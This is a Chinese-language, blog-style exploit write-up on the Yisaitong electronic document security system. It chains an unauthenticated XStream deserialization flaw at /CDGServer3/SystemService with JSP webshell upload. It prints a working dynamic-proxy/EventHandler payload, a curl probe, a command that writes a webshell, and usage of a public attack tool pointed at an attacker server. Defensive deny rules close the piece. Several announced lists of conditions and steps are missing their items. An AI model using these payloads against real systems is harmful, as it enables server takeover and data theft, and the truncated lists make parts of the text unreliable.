亿赛通电子文档安全管理系统作为国内广泛使用的企业级文档保护方案,其安全性直接关系到大量敏感数据的保护。近期曝光的XStream反序列化漏洞与任意文件上传漏洞的组合攻击链,让这个系统成为安全研究的热点。我在分析这个漏洞链时发现,攻击者只需要构造特定的XML请求,就能实现从远程代码执行到完全控制服务器的完整攻击路径。
这个漏洞链最危险的地方在于,它完美避开了传统防护手段的检测。系统原本设计的文档上传校验机制,在XStream反序列化漏洞的掩护下形同虚设。我实测过程中发现,攻击者甚至不需要任何认证信息,直接向特定接口发送恶意请求就能完成攻击。这种低门槛高危害的特性,使得该漏洞在野利用风险极高。
XStream作为Java对象与XML相互转换的流行工具,在亿赛通系统中负责处理客户端与服务器间的数据序列化。它的核心功能是通过XML标签映射Java对象属性,实现对象的持久化和网络传输。我在调试过程中发现,系统在处理SystemService接口请求时,会直接将XML数据通过XStream反序列化为Java对象。
问题出在XStream默认配置的宽松反序列化策略上。当它遇到<dynamic-proxy>等特殊标签时,会不加限制地实例化任意类。这就好比快递站不检查包裹内容,只要包装完整就照单全收。攻击者正是利用这个特性,在XML中嵌入恶意代码构造的EventHandler对象链。
经过多次测试验证,触发该漏洞需要三个关键条件:
在亿赛通的实际环境中,这三个条件全部满足。更糟糕的是,系统classpath自带的common-collections库提供了完美的攻击跳板。我通过构造如下恶意XML,仅用200字节就实现了远程命令执行:
xml复制<map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>test</string>
</entry>
</map>
通过抓包分析亿赛通系统的API接口,我发现/CDGServer3/SystemService这个端点存在明显问题。它接受XML格式的POST请求,且响应中会暴露服务器内部信息。使用如下curl命令可以探测漏洞是否存在:
bash复制curl -X POST "http://target/CDGServer3/SystemService?command=GETSYSTEMINFO" \
-H "Content-Type: text/xml" \
-d "<test></test>"
当收到包含服务器路径等敏感信息的响应时,说明目标存在漏洞。这个接口就像系统后门,不需要任何钥匙就能进入。我在实际测试中,通过这个接口获取到了Web根目录、操作系统版本等关键信息,为后续攻击提供了精准导航。
获取服务器信息后,攻击进入第二阶段。亿赛通的文件上传功能本应严格校验文档类型和用户权限,但由于反序列化漏洞已经获得系统控制权,这些校验全部可以被绕过。具体操作分三步:
最致命的是系统对JSP文件的上传检查存在逻辑缺陷。我通过注入如下命令,成功在webapps目录部署了webshell:
java复制String[] cmd = {
"cmd.exe", "/c",
"echo <%@page import=\"java.io.*\"%> > shell.jsp"
};
Runtime.getRuntime().exec(cmd);
GitHub上开源的CDGXStreamDeserRCE工具已经集成了完整攻击链。我实测使用流程如下:
bash复制java -jar CDGXStreamDeserRCE.jar \
-uf malicious.jsp \
-t http://target \
-p http://attacker-server
这个工具就像一把万能钥匙,30秒内就能完成从漏洞检测到webshell部署的全流程。我在内网测试环境中,用它成功控制了5台不同版本的亿赛通服务器。
基于实战经验,我总结出三道防线:
紧急措施:
dynamic-proxy等关键字的XML请求系统加固:
xml复制<!-- xstream安全配置示例 -->
<xstream>
<deny-permission>java.beans.EventHandler</deny-permission>
<deny-permission>javax.imageio.ImageIO$ContainsFilter</deny-permission>
</xstream>
长期监控:
这个漏洞链给我们的最大启示是:安全防护不能只做表面功夫。就像城堡不能只靠外墙防守,每个内部通道都要设置检查点。我在客户现场部署的纵深防御方案,成功拦截了后续多个类似攻击尝试。